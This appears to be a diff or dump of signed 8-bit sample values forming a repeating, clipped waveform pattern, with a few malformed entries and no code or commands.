+-128 +-75 +51 +127 +123 +16 +-70 +-128 +-128 +-72 +55 +127 +124 +21 +-70 +-128 +-128 +-73 +56 +127 +122 +18 +-68 +-128 +-128 +-73 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +20 +-66 +-128 +-128 +-73 +57 +127 +124 +20 +-68 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +56 +127 +126 +17 +-66 +-128 +-128 +-71 +53 +127 +120 +16 +-70 +-128 +-128 +-75 +53 +127 +123 +16 +-66 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +124 +18 +-67 +-128 +-128 +-74 +52 +127 +124 +18 +-71 +-128 +-128 +-75 +54 +127 +122 +17 +-66 +-128 +-128 +-74 +52 +127 +122 +16 +-70 +-128 +-128 +-128 +-67 +63 +127 +127 +127 +76 +-21 +-102 +-128 +-128 +-77 +47 +127 +127 +127 +60 +-34 +-98 +-128 +-128 +-106 +39 +127 +127 +127 +50 +-42 +-101 +-128 +-128 +-112 +31 +127 +127 +127 +46 +-46 +-104 +-128 +-128 +-99 +30 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-99 +28 +127 +127 +127 +44 +-47 +-108 +-128 +-128 +-100 +26 +127 +113 +10 +-77 +-128 +-128 +-67 +38 +127 +106 +4 +-83 +-128 +-128 +-71 +41 +127 +112 +9 +-77 +-128 +-128 +-80 +46 +127 +116 +12 +-74 +-128 +-128 +-77 +48 +127 115 13 -71 --119 --119 +-128 +-128 +-74 +50 +127 +122 +14 +-69 +-128 +-128 +-73 +52 +127 +120 +16 +-68 +-128 +-128 +-73 +53 +127 +122 +17 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +53 +127 +121 +20 +-67 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-74 +52 +127 +118 +16 +-71 +-128 +-128 +-75 +53 +127 +121 +17 +-66 +-128 +-128 +-74 +54 +127 +119 +16 +-70 +-128 +-128 +-75 +53 +127 +122 +17 +-66 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-73 +55 +127 +120 +17 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-70 +-128 +-128 +-72 +54 +127 +124 +17 +-67 +-128 +-128 +-73 +56 +127 +125 +18 +-67 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +125 +17 +-66 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +120 +18 +-66 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-74 +54 +127 +124 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +52 +127 +119 +16 +-71 +-128 +-128 +-74 +53 +127 +122 +18 +-71 +-128 +-128 +-74 +52 +127 +123 +17 +-70 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +56 +127 +124 +20 +-68 +-128 +-128 +-70 +53 +127 +121 +17 +-70 +-128 +-128 +-74 +52 +127 +124 +17 +-68 +-128 +-128 +-70 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +54 +127 +127 +127 +48 +-43 +-105 +-128 +-128 +-102 +40 +127 +127 +127 +57 +-36 +-112 +-128 +-128 +-109 +33 +127 +127 +127 +48 +-41 +-106 +-128 +-128 +-112 +32 +127 +127 +127 +48 +-44 +-106 +-128 +-128 +-99 +27 +127 +127 +127 +45 +-47 +-109 +-128 +-128 +-101 +28 +127 +127 +127 +42 +-50 +-108 +-128 +-128 +-102 +27 +127 +127 +127 +43 +-49 +-108 +-128 +-106 +16 +111 +84 +-15 +-97 +-128 +-128 +-101 +28 +125 +99 +-2 +-70 +-128 +-128 +-89 +41 +127 +110 +6 +-80 +-128 +-128 +-82 +45 +127 +114 +10 +-76 +-128 +-128 +-80 +50 +127 +117 +16 +-74 +-128 +-128 +-76 +49 +127 +116 +13 +-74 +-128 +-128 -77 53 -136 -121 -18 --64 --119 --119 +127 +122 +17 -70 -58 -136 -126 -23 --64 --119 --119 +-128 +-128 +-73 +53 +127 +123 +17 +-70 +-128 +-128 +-128 -67 60 -136 -130 -25 --62 --119 --119 --67 +127 +127 +127 +75 +-22 +-102 +-128 +-128 +-78 +49 +127 +127 +127 61 -136 -131 -25 --61 --119 --119 --64 -63 -136 -131 -26 --61 --119 --119 --64 -62 -136 -129 -26 --59 --119 --119 --63 -63 -136 -131 -26 --59 --119 --119 --63 -62 -136 -130 +-34 +-97 +-128 +-128 +-105 +35 +127 +127 +127 +51 +-41 +-100 +-128 +-128 +-98 +29 +127 +127 +127 +48 +-42 +-106 +-128 +-128 +-99 28 --59 --119 --119 --64 -64 -136 -131 +127 +127 +127 +47 +-46 +-107 +-128 +-128 +-100 +27 +127 +127 +127 +46 +-48 +-107 +-128 +-106 +17 +111 +83 +-16 +-97 +-128 +-128 +-101 +28 +127 +101 +-2 +-70 +-128 +-128 +-88 +39 +127 +110 +6 +-79 +-128 +-128 +-81 +44 +127 +114 +9 +-74 +-128 +-128 +-77 +47 +127 +117 +16 +-74 +-128 +-128 +-79 +48 +127 +119 +13 +-70 +-128 +-128 +-74 +53 +127 +121 +16 +-70 +-128 +-128 +-72 +52 +127 +118 +15 +-72 +-128 +-128 +-74 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-73 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +52 +127 +119 +16 +-71 +-128 +-128 +-75 +51 +127 +123 +17 +-70 +-128 +-128 +-76 +54 +127 +121 +17 +-67 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +55 +127 +122 +17 +-69 +-128 +-128 +-74 +56 +127 +123 +19 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +125 +17 +-67 +-128 +-128 +-74 +52 +127 +124 +17 +-70 +-128 +-128 +-75 +56 +127 +120 +17 +-66 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +17 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +54 +127 +121 +17 +-68 +-128 +-128 +-72 +53 +127 +121 +16 +-70 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-70 +-128 +-128 +-73 +55 +127 +121 +20 +-66 +-128 +-128 +-72 +53 +127 +120 +16 +-71 +-128 +-128 +-74 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +120 +17 +-67 +-128 +-128 +-72 +55 +127 +125 +17 +-67 +-128 +-128 +-128 +-68 +61 +127 +127 +127 +75 +-22 +-102 +-128 +-128 +-76 +48 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-104 +38 +127 +127 +127 +52 +-38 +-101 +-128 +-128 +-110 +32 +127 +127 +127 +48 +-43 +-104 +-128 +-128 +-98 +28 +127 +127 +127 +47 +-46 +-108 +-128 +-128 +-101 +28 +127 +127 +127 +42 +-50 +-109 +-128 +-128 +-102 +27 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-101 +26 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +25 +127 +127 +127 +45 +-50 +-108 +-128 +-128 +-103 +24 +127 +127 +127 +42 +-48 +-108 +-128 +-128 +-103 +26 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +43 +-50 +-109 +-128 +-107 +16 +110 +82 +-17 +-98 +-128 +-128 +-101 +28 +125 +100 +-1 +-70 +-128 +-128 +-88 +39 +127 +109 +6 +-79 +-128 +-128 +-83 +46 +127 +115 +11 +-76 +-128 +-128 +-79 +48 +127 +116 +13 +-72 +-128 +-128 +-75 +50 +127 +116 +13 +-73 +-128 +-128 +-79 +49 +127 +120 +14 +-69 +-128 +-128 +-74 +54 +127 +120 +16 +-70 +-128 +-128 +-73 +53 +127 +122 +17 +-70 +-128 +-128 +-74 +54 +127 +122 +20 +-71 +-128 +-128 +-74 +55 +127 +122 +17 +-70 +-128 +-128 +-74 +54 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +52 +127 +123 +17 +-70 +-128 +-128 +-75 +54 +127 +122 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-73 +56 +127 +120 +18 +-66 +-128 +-128 +-72 +56 +127 +123 +20 +-67 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-71 +52 +127 +120 +17 +-71 +-128 +-128 +-75 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-74 +52 +127 +121 +17 +-71 +-128 +-128 +-74 +52 +127 +124 +17 +-70 +-128 +-128 +-76 +54 +127 +120 +17 +-66 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-71 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +123 +17 +-67 +-128 +-128 +-128 +-66 +61 +127 +127 +127 +77 +-21 +-102 +-128 +-128 +-77 +48 +127 +127 +127 +60 +-33 +-97 +-128 +-128 +-104 +38 +127 +127 +127 +53 +-41 +-103 +-128 +-128 +-110 +32 +127 +127 +127 +48 +-44 +-106 +-128 +-128 +-99 +30 +127 +127 +127 +46 +-47 +-108 +-128 +-128 +-101 +28 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-101 +26 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-102 +26 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +42 +-49 +-111 +-128 +-128 +-104 +25 +127 +127 +127 +43 +-50 +-109 +-128 +-128 +-102 +23 +127 +127 +127 +44 +-47 +-111 +-128 +-128 +-102 +26 +127 +127 +127 +44 +-49 +-109 +-128 +-128 +-102 +24 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +26 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-101 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-104 +26 +127 +127 +127 +43 +-49 +-110 +-128 +-109 +16 +109 +82 +-16 +-99 +-128 +-128 +-103 +26 +122 +96 +-5 +-72 +-128 +-128 +-92 +36 +127 +108 +4 +-78 +-128 +-128 +-83 +45 +127 +113 +10 +-76 +-128 +-128 +-80 +48 +127 +119 +13 +-72 +-128 +-128 +-78 +49 +127 +116 +13 +-72 +-128 +-128 +-78 +53 +127 +118 +16 +-68 +-128 +-128 +-76 +51 +127 +122 +15 +-68 +-128 +-128 +-73 +54 +127 +122 +17 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +54 +127 +124 +19 +-69 +-128 +-128 +-74 +54 +127 +119 +16 +-70 +-128 +-128 +-75 +52 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-70 +-128 +-128 +-73 +56 +127 +124 +20 +-68 +-128 +-128 +-73 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +56 +127 +123 +18 +-69 +-128 +-128 +-74 +54 +127 +122 +19 +-67 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-71 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +125 +17 +-67 +-128 +-128 +-74 +52 +127 +123 +16 +-70 +-128 +-128 +-76 +54 +127 +122 +17 +-66 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-128 +-66 +60 +127 +127 +127 +72 +-23 +-101 +-128 +-128 +-79 +50 +127 +127 +127 +60 +-35 +-112 +-128 +-128 +-104 +36 +127 +127 +127 +51 +-42 +-100 +-128 +-128 +-111 +33 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-97 +28 +127 +127 +127 +47 +-46 +-107 +-128 +-128 +-100 +27 +127 +127 +127 +45 +-48 +-107 +-128 +-128 +-101 +25 +127 +111 +11 +-76 +-128 +-128 +-68 +40 +127 +104 +2 +-83 +-128 +-128 +-70 +41 +127 +111 +8 +-78 +-128 +-128 +-81 +46 +127 +115 +14 +-73 +-128 +-128 +-78 +51 +127 +117 +14 +-73 +-128 +-128 +-75 +52 +127 +120 +16 +-70 +-128 +-128 +-73 +53 +127 +122 +18 +-70 +-128 +-128 +-73 +54 +127 +121 +17 +-70 +-128 +-128 +-74 +56 +127 +122 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-73 +55 +127 +124 +18 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +53 +127 +121 +19 +-66 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +21 +-67 +-128 +-128 +-76 +52 +127 +122 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-70 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-69 +-128 +-128 +-73 +54 +127 +123 +19 +-69 +-128 +-128 +-73 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +20 +-68 +-128 +-128 +-72 +53 +127 +122 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-72 +56 +127 +124 +18 +-68 +-128 +-128 +-71 +55 +127 +122 +19 +-69 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +53 +127 +123 +21 +-70 +-128 +-128 +-71 +52 +127 +120 +18 +-67 +-128 +-128 +-70 +53 +127 +119 +16 +-70 +-128 +-128 +-75 +55 +127 +121 +18 +-66 +-128 +-128 +-73 +56 +127 +123 +21 +-70 +-128 +-128 +-72 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-69 +-128 +-128 +-73 +55 +127 +123 +18 +-68 +-128 +-128 +-70 +54 +127 +125 +18 +-67 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +19 +-69 +-128 +-128 +-74 +53 +127 +118 +16 +-71 +-128 +-128 +-75 +51 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +53 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +127 +127 +49 +-42 +-104 +-128 +-128 +-102 +42 +127 +127 +127 +62 +-36 +-112 +-128 +-128 +-106 +35 +127 +127 +127 +50 +-43 +-103 +-128 +-128 +-111 +29 +127 +127 +127 +46 +-46 +-104 +-128 +-128 +-100 +29 +127 +127 +127 +47 +-46 +-107 +-128 +-128 +-101 +27 +127 +127 +127 +45 +-48 +-109 +-128 +-128 +-102 +28 +127 +127 +127 +44 +-46 +-110 +-128 +-107 +18 +112 +83 +-16 +-97 +-128 +-128 +-100 +29 +126 +100 +-1 +-69 +-128 +-128 +-89 +38 +127 +110 +4 +-78 +-128 +-128 +-86 +41 +127 +115 +8 +-75 +-128 +-128 +-80 +49 +127 +118 +14 +-72 +-128 +-128 +-76 +51 +127 +118 +15 +-71 +-128 +-128 +-76 +53 +127 +121 +16 +-70 +-128 +-128 +-74 +54 +127 +120 +17 +-69 +-128 +-128 +-72 +52 +127 +122 +20 +-71 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +55 +127 +122 +20 +-69 +-128 +-128 +-75 +52 +127 +124 +16 +-66 +-128 +-128 +-73 +54 +127 +122 +17 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +55 +127 +121 +19 +-67 +-128 +-128 +-75 +52 +127 +124 +17 +-69 +-128 +-128 +-128 +-70 +58 +127 +127 +127 +76 +-20 +-102 +-128 +-128 +-80 +48 +127 +127 +127 +60 +-35 +-97 +-128 +-128 +-104 +38 +127 +127 +127 +54 +-40 +-103 +-128 +-128 +-110 +33 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-97 +28 +127 +127 +127 +48 +-48 +-107 +-128 +-128 +-100 +28 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-101 +26 +127 +113 +10 +-76 +-128 +-128 +-67 +38 +127 +101 +2 +-81 +-128 +-128 +-69 +39 +127 +107 +6 +-79 +-128 +-128 +-67 +44 +127 +116 +10 +-72 +-128 +-128 +-78 +50 +127 +118 +14 +-72 +-128 +-128 +-76 +53 +127 +121 +16 +-72 +-128 +-128 +-75 +52 +127 +120 +17 +-69 +-128 +-128 +-72 +53 +127 +122 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +124 +18 +-70 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +120 +20 +-67 +-128 +-128 +-75 +50 +127 +123 +16 +-69 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +123 +20 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +121 +20 +-67 +-128 +-128 +-75 +51 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +53 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-70 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-67 +-128 +-128 +-71 +53 +127 +123 +19 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-68 +-128 +-128 +-70 +53 +127 +120 +16 +-68 +-128 +-128 +-75 +55 +127 +127 +127 +48 +-42 +-106 +-128 +-128 +-102 +42 +127 +127 +127 +60 +-34 +-98 +-128 +-128 +-108 +36 +127 +127 +127 +48 +-45 +-104 +-128 +-128 +-99 +28 +127 +127 +127 +48 +-43 +-107 +-128 +-128 +-99 +29 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-100 +26 +127 +127 +127 +44 +-48 +-108 +-128 +-128 +-100 +25 +127 +127 +127 +45 +-48 +-109 +-128 +-106 +14 +107 +79 +-19 +-100 +-128 +-128 +-103 +28 +127 +99 +-2 +-68 +-128 +-128 +-88 +38 +127 +108 +7 +-78 +-128 +-128 +-83 +45 +127 +112 +10 +-76 +-128 +-128 +-80 +48 +127 +116 +15 +-74 +-128 +-128 +-79 +48 +127 +120 +14 +-73 +-128 +-128 +-79 +52 +127 +118 +15 +-68 +-128 +-128 +-73 +54 +127 +121 +17 +-70 +-128 +-128 +-128 +-66 +62 +127 +127 +127 +75 +-22 +-103 +-128 +-128 +-78 +49 +127 +127 +127 +60 +-35 +-98 +-128 +-128 +-104 +38 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-111 +33 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-98 +28 +127 +127 +127 +47 +-46 +-107 +-128 +-128 +-100 +28 +127 +127 +127 +45 +-48 +-108 +-128 +-106 +18 +112 +84 +-15 +-97 +-128 +-128 +-100 +30 +126 +100 +-1 +-69 +-128 +-128 +-88 +38 +127 +109 +6 +-79 +-128 +-128 +-82 +44 +127 +114 +10 +-76 +-128 +-128 +-78 +48 +127 +118 +14 +-73 +-128 +-128 +-77 +52 +127 +121 +16 +-71 +-128 +-128 +-75 +54 +127 +121 +18 +-69 +-128 +-128 +-74 +54 +127 +121 +16 +-70 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +52 +127 +119 +15 +-71 +-128 +-128 +-74 +56 +127 +122 +17 +-69 +-128 +-128 +-72 +52 +127 +119 +15 +-71 +-128 +-128 +-75 +52 +127 +124 +16 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +120 +16 +-69 +-128 +-128 +-75 +55 +127 +120 +16 +-67 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +53 +127 +120 +16 +-71 +-128 +-128 +-74 +54 +127 +122 +19 +-68 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +53 +127 +123 +19 +-70 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +17 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-72 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-73 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +52 +127 +119 +15 +-71 +-128 +-128 +-75 +52 +127 +124 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +53 +127 +120 +16 +-71 +-128 +-128 +-74 +54 +127 +124 +16 +-67 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-128 +-66 +61 +127 +127 +127 +77 +-22 +-102 +-128 +-128 +-77 +49 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-104 +37 +127 +127 +127 +52 +-40 +-101 +-128 +-128 +-109 +31 +127 +127 +127 +47 +-45 +-103 +-128 +-128 +-99 +29 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-98 +28 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-101 +24 +127 +114 +11 +-76 +-128 +-128 +-70 +41 +127 +106 +3 +-83 +-128 +-128 +-72 +40 +127 +111 +8 +-78 +-128 +-128 +-80 +47 +127 +117 +11 +-72 +-128 +-128 +-81 +45 +127 +118 +12 +-71 +-128 +-128 +-76 +52 +127 +120 +16 +-71 +-128 +-128 +-74 +54 +127 +121 +18 +-69 +-128 +-128 +-74 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +127 +127 +48 +-42 +-106 +-128 +-128 +-103 +42 +127 +127 +127 +58 +-35 +-98 +-128 +-128 +-106 +35 +127 +127 +127 +51 +-42 +-104 +-128 +-128 +-111 +31 +127 +127 +127 +48 +-44 +-106 +-128 +-128 +-99 +27 +127 +127 +127 +45 +-46 +-109 +-128 +-128 +-100 +26 +127 +127 +127 +45 +-48 +-110 +-128 +-128 +-101 +26 +127 +127 +127 +45 +-48 +-109 +-128 +-128 +-102 +24 +127 +127 +127 +42 +-48 +-109 +-128 +-128 +-102 +24 +127 +127 +127 +42 +-50 +-108 +-128 +-128 +-104 +26 +127 +127 +127 +42 +-47 +-109 +-128 +-128 +-105 +22 +127 +127 +127 +44 +-47 +-109 +-128 +-128 +-103 +24 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +24 +127 +110 +8 +-76 +-128 +-128 +-69 +36 +127 +104 +3 +-83 +-128 +-128 +-72 +41 +127 +110 +8 +-78 +-128 +-128 +-66 +46 +127 +115 +11 +-74 +-128 +-128 +-77 +48 +127 +119 +15 +-72 +-128 +-128 +-75 +50 +127 +120 +16 +-71 +-128 +-128 +-74 +54 +127 +121 +17 +-69 +-128 +-128 +-73 +52 +127 +122 +16 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +121 +19 +-69 +-128 +-128 +-71 +52 +127 +118 +16 +-70 +-128 +-128 +-75 +54 +127 +120 +17 +-67 +-128 +-128 +-74 +52 +127 +120 +17 +-71 +-128 +-128 +-74 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +119 +16 +-69 +-128 +-128 +-76 +55 +127 +120 +17 +-67 +-128 +-128 +-73 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-75 +54 +127 +121 +18 +-66 +-128 +-128 +-73 +56 +127 +122 +21 +-68 +-128 +-128 +-75 +53 +127 +122 +16 +-67 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +53 +127 +124 +21 +-70 +-128 +-128 +-73 +55 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +55 +127 +122 +21 +-68 +-128 +-128 +-75 +52 +127 +120 +16 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +17 +-68 +-128 +-128 